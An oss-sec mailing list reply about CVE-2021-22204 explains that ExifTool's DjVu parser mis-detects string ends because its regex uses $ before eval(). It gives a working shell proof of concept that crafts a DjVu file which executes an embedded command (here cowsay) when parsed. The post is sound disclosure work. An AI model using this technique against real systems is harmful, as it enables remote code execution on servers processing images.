Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image

                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: Jakub Wilk &lt;jwilk () jwilk net&gt;

Date: Mon, 10 May 2021 15:46:18 +0200

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
* William Bowling &lt;will () wbowling info&gt;, 2021-05-09, 14:32:
ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for 
arbitrary code execution when parsing malicious images.

Using eval() to parse C-like strings is undoubtedly a terrible idea, but 
the code does attempt to neutralize the input, and it wasn't immediately 
obvious to me where the bug is. It turns out the way it determines where 
the string ends is incorrect:

   # we're good unless quote was escaped by odd number of backslashes
   last unless $tok =~ /(\\+)$/ and length($1) &amp; 0x01;

But $ doesn't match only the end of the string; it matches also before 
the trailing newline. You need \z if you want only the former. (But of 
course in this case ditching eval(), rather than fine-tuning the regex, 
was the right course of action.)

Proof of concept:

  $ printf 'P1 1 1 0' &gt; moo.pbm
  $ cjb2 moo.pbm moo.djvu
  $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned&gt;&amp;2);#"' &gt;&gt; moo.djvu
  $ exiftool moo.djvu &gt; /dev/null
   _______
  &lt; pwned &gt;
   -------
          \   ^__^
           \  (oo)\_______
              (__)\       )\/\
                  ||----w |
                  ||     ||

--
Jakub Wilk

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

[CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image William Bowling (May 09)

Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image Jakub Wilk (May 10)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->